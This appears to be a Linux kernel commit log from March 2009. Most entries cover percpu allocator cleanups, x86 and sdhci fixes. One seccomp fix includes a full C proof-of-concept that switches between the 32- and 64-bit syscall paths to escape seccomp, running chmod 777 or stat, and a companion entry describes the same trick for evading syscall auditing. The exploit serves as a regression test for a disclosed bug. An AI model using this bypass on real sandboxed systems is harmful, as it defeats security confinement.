2009-03-10percpu: more flexibility for @dyn_size of pcpu_setup_first_chunk()Tejun Heo
Impact: cleanup, more flexibility for first chunk init Non-negative @dyn_size used to be allowed iff @unit_size wasn't auto. This restriction stemmed from implementation detail and made things a bit less intuitive. This patch allows @dyn_size to be specified regardless of @unit_size and swaps the positions of @dyn_size and @unit_size so that the parameter order makes more sense (static, reserved and dyn sizes followed by enclosing unit_size). While at it, add @unit_size >= PCPU_MIN_UNIT_SIZE sanity check. Signed-off-by: Tejun Heo <tj@kernel.org>
2009-03-10percpu: make x86 addr <-> pcpu ptr conversion macros genericTejun Heo
Impact: generic addr <-> pcpu ptr conversion macros There's nothing arch specific about x86 __addr_to_pcpu_ptr() and __pcpu_ptr_to_addr(). With proper __per_cpu_load and __per_cpu_start defined, they'll do the right thing regardless of actual layout. Move these macros from arch/x86/include/asm/percpu.h to mm/percpu.c and allow archs to override it as necessary. Signed-off-by: Tejun Heo <tj@kernel.org>
2009-03-10linker script: define __per_cpu_load on all SMP capable archsTejun Heo
Impact: __per_cpu_load available on all SMP capable archs Percpu now requires three symbols to be defined - __per_cpu_load, __per_cpu_start and __per_cpu_end. There were three archs which didn't have it. Update them as follows. * powerpc: can use generic PERCPU() macro. Compile tested for powerpc32, compile/boot tested for powerpc64. * ia64: can use generic PERCPU_VADDR() macro. __phys_per_cpu_start is identical to __per_cpu_load. Compile tested and symbol table looks identical after the change except for the additional __per_cpu_load. * arm: added explicit __per_cpu_load definition. Currently uses unified .init output section so can't use the generic macro. Dunno whether the unified .init ouput section is required by arch peculiarity so I left it alone. Please break it up and use PERCPU() if possible.

2009-03-08x86: UV: remove uv_flush_tlb_others() WARN_ONCliff Wickman
In uv_flush_tlb_others() (arch/x86/kernel/tlb_uv.c), the "WARN_ON(!in_atomic())" fails if CONFIG_PREEMPT is not enabled. And CONFIG_PREEMPT is not enabled by default in the distribution that most UV owners will use. We could #ifdef CONFIG_PREEMPT the warning, but that is not good form. And there seems to be no suitable fix to in_atomic() when CONFIG_PREMPT is not on. As Ingo commented: > and we have no proper primitive to test for atomicity. (mainly > because we dont know about atomicity on a non-preempt kernel) So we drop the WARN_ON.

2009-03-07percpu: finer grained locking to break deadlock and allow atomic freeTejun Heo
Impact: fix deadlock and allow atomic free Percpu allocation always uses GFP_KERNEL and whole alloc/free paths were protected by single mutex. All percpu allocations have been from GFP_KERNEL-safe context and the original allocator had this assumption too. However, by protecting both alloc and free paths with the same mutex, the new allocator creates free -> alloc -> GFP_KERNEL dependency which the original allocator didn't have. This can lead to deadlock if free is called from FS or IO paths. Also, in general, allocators are expected to allow free to be called from atomic context. This patch implements finer grained locking to break the deadlock and allow atomic free. For details, please read the "Synchronization rules" comment. While at it, also add CONTEXT: to function comments to describe which context they expect to be called from and what they do to it. This problem was reported by Thomas Gleixner and Peter Zijlstra. http://thread.gmane.org/gmane.linux.kernel/802384 Signed-off-by: Tejun Heo <tj@kernel.org> Reported-by: Thomas Gleixner <tglx@linutronix.de> Reported-by: Peter Zijlstra <peterz@infradead.org>

2009-03-07percpu: move chunk area map extension out of area allocationTejun Heo
Impact: code reorganization for later changes Separate out chunk area map extension into a separate function - pcpu_extend_area_map() - and call it directly from pcpu_alloc() such that pcpu_alloc_area() is guaranteed to have enough area map slots on invocation. With this change, pcpu_alloc_area() does only area allocation and the only failure mode is when the chunk doens't have enough room, so there's no need to distinguish it from memory allocation failures. Make it return -1 on such cases instead of hacky -ENOSPC. Signed-off-by: Tejun Heo <tj@kernel.org>
2009-03-07percpu: replace pcpu_realloc() with pcpu_mem_alloc() and pcpu_mem_free()Tejun Heo
Impact: code reorganization for later changes With static map handling moved to pcpu_split_block(), pcpu_realloc() only clutters the code and it's also unsuitable for scheduled locking changes. Implement and use pcpu_mem_alloc/free() instead. Signed-off-by: Tejun Heo <tj@kernel.org>
2009-03-06x86, percpu: setup reserved percpu area for x86_64Tejun Heo
Impact: fix relocation overflow during module load x86_64 uses 32bit relocations for symbol access and static percpu symbols whether in core or modules must be inside 2GB of the percpu segement base which the dynamic percpu allocator doesn't guarantee. This patch makes x86_64 reserve PERCPU_MODULE_RESERVE bytes in the first chunk so that module percpu areas are always allocated from the first chunk which is always inside the relocatable range. This problem exists for any percpu allocator but is easily triggered when using the embedding allocator because the second chunk is located beyond 2GB on it. This patch also changes the meaning of PERCPU_DYNAMIC_RESERVE such that it only indicates the size of the area to reserve for dynamic allocation as static and dynamic areas can be separate. New PERCPU_DYNAMIC_RESERVED is increased by 4k for both 32 and 64bits as the reserved area separation eats away some allocatable space and having slightly more headroom (currently between 4 and 8k after minimal boot sans module area) makes sense for common case performance. x86_32 can address anywhere from anywhere and doesn't need reserving. Mike Galbraith first reported the problem first and bisected it to the embedding percpu allocator commit.

2009-03-06percpu, module: implement reserved allocation and use it for module percpu ↵Tejun Heo
variables Impact: add reserved allocation functionality and use it for module percpu variables This patch implements reserved allocation from the first chunk. When setting up the first chunk, arch can ask to set aside certain number of bytes right after the core static area which is available only through a separate reserved allocator. This will be used primarily for module static percpu variables on architectures with limited relocation range to ensure that the module perpcu symbols are inside the relocatable range. If reserved area is requested, the first chunk becomes reserved and isn't available for regular allocation. If the first chunk also includes piggy-back dynamic allocation area, a separate chunk mapping the same region is created to serve dynamic allocation. The first one is called static first chunk and the second dynamic first chunk. Although they share the page map, their different area map initializations guarantee they serve disjoint areas according to their purposes. If arch doesn't setup reserved area, reserved allocation is handled like any other allocation. Signed-off-by: Tejun Heo <tj@kernel.org>
2009-03-06percpu: add an indirection ptr for chunk page map accessTejun Heo
Impact: allow sharing page map, no functional difference yet Make chunk->page access indirect by adding a pointer and renaming the actual array to page_ar. This will be used by future changes. Signed-off-by: Tejun Heo <tj@kernel.org>
2009-03-06x86: make embedding percpu allocator return excessive free spaceTejun Heo
Impact: reduce unnecessary memory usage on certain configurations Embedding percpu allocator allocates unit_size * smp_num_possible_cpus() bytes consecutively and use it for the first chunk. However, if the static area is small, this can result in excessive prellocated free space in the first chunk due to PCPU_MIN_UNIT_SIZE restriction. This patch makes embedding percpu allocator preallocate only what's necessary as described by PERPCU_DYNAMIC_RESERVE and return the leftover to the bootmem allocator. Signed-off-by: Tejun Heo <tj@kernel.org>
2009-03-06percpu: use negative for auto for pcpu_setup_first_chunk() argumentsTejun Heo
Impact: argument semantic cleanup In pcpu_setup_first_chunk(), zero @unit_size and @dyn_size meant auto-sizing. It's okay for @unit_size as 0 doesn't make sense but 0 dynamic reserve size is valid. Alos, if arch @dyn_size is calculated from other parameters, it might end up passing in 0 @dyn_size and malfunction when the size is automatically adjusted. This patch makes both @unit_size and @dyn_size ssize_t and use -1 for auto sizing. Signed-off-by: Tejun Heo <tj@kernel.org>
2009-03-06percpu: improve first chunk initial area map handlingTejun Heo
Impact: no functional change When the first chunk is created, its initial area map is not allocated because kmalloc isn't online yet. The map is allocated and initialized on the first allocation request on the chunk. This works fine but the scattering of initialization logic between the init function and allocation path is a bit confusing. This patch makes the first chunk initialize and use minimal statically allocated map from pcpu_setpu_first_chunk(). The map resizing path still needs to handle this specially but it's more straight-forward and gives more latitude to the init path. This will ease future changes.

2009-03-06percpu: clean up percpu constantsTejun Heo
Impact: cleaup Make the following cleanups. * There isn't much arch-specific about PERCPU_MODULE_RESERVE. Always define it whether arch overrides PERCPU_ENOUGH_ROOM or not. * blackfin overrides PERCPU_ENOUGH_ROOM to align static area size. Do it by default. * percpu allocation sizes doesn't have much to do with the page size. Don't use PAGE_SHIFT in their definition.

This reverts commit 155b25bcc28631a5b5230191aa3f56c40dfffa3f, which was totally wrong - the "embedded" options still exists (very much so) even on non-embedded platforms. It's just that we don't bother with actually asking about them when we're not embedded, we just take their default values (which is usually 'y' - the options add features that may not be worth it in a constrained environment).

2009-03-02x86-64: seccomp: fix 32/64 syscall holeRoland McGrath
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with ljmp, and then use the "syscall" instruction to make a 64-bit system call. A 64-bit process make a 32-bit system call with int $0x80. In both these cases under CONFIG_SECCOMP=y, secure_computing() will use the wrong system call number table. The fix is simple: test TS_COMPAT instead of TIF_IA32. Here is an example exploit: /* test case for seccomp circumvention on x86-64 There are two failure modes: compile with -m64 or compile with -m32. The -m64 case is the worst one, because it does "chmod 777 ." (could be any chmod call). The -m32 case demonstrates it was able to do stat(), which can glean information but not harm anything directly. A buggy kernel will let the test do something, print, and exit 1; a fixed kernel will make it exit with SIGKILL before it does anything. */ #define _GNU_SOURCE #include <assert.h> #include <inttypes.h> #include <stdio.h> #include <linux/prctl.h> #include <sys/stat.h> #include <unistd.h> #include <asm/unistd.h> int main (int argc, char **argv) { char buf[100]; static const char dot[] = "."; long ret; unsigned st[24]; if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0) perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?"); #ifdef __x86_64__ assert ((uintptr_t) dot < (1UL << 32)); asm ("int $0x80 # %0 <- %1(%2 %3)" : "=a" (ret) : "0" (15), "b" (dot), "c" (0777)); ret = snprintf (buf, sizeof buf, "result %ld (check mode on .!)\n", ret); #elif defined __i386__ asm (".code32\n" "pushl %%cs\n" "pushl $2f\n" "ljmpl $0x33, $1f\n" ".code64\n" "1: syscall # %0 <- %1(%2 %3)\n" "lretl\n" ".code32\n" "2:" : "=a" (ret) : "0" (4), "D" (dot), "S" (&st)); if (ret == 0) ret = snprintf (buf, sizeof buf, "stat . -> st_uid=%u\n", st[7]); else ret = snprintf (buf, sizeof buf, "result %ld\n", ret); #else # error "not this one" #endif write (1, buf, ret); syscall (__NR_exit, 1); return 2; } Signed-off-by: Roland McGrath <roland@redhat.com> [ I don't know if anybody actually uses seccomp, but it's enabled in at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ] Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2009-03-02x86-64: syscall-audit: fix 32/64 syscall holeRoland McGrath
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with ljmp, and then use the "syscall" instruction to make a 64-bit system call. A 64-bit process make a 32-bit system call with int $0x80. In both these cases, audit_syscall_entry() will use the wrong system call number table and the wrong system call argument registers. This could be used to circumvent a syscall audit configuration that filters based on the syscall numbers or argument details.

2009-03-02sdhci: Add NO_BUSY_IRQ quirk for Marvell CAFE host chipAndres Salomon
As described here: http://lkml.org/lkml/2009/2/20/265 The CAFE chip is broken due to commit e809517f6fa5803a5a1cd5602. Anton added a quirk here: http://lkml.org/lkml/2009/2/20/279 that fixes CAFE's problem. This adds the quirk for CAFE.

2009-03-02sdhci: Add quirk for controllers with no end-of-busy IRQBen Dooks
The Samsung SDHCI (and FSL eSDHC) controller block seems to fail to generate an INT_DATA_END after the transfer has completed and the bus busy state finished. Changes in e809517f6fa5803a5a1cd56026f0e2190fc13d5c to use the new busy method are the cause of the behaviour change.
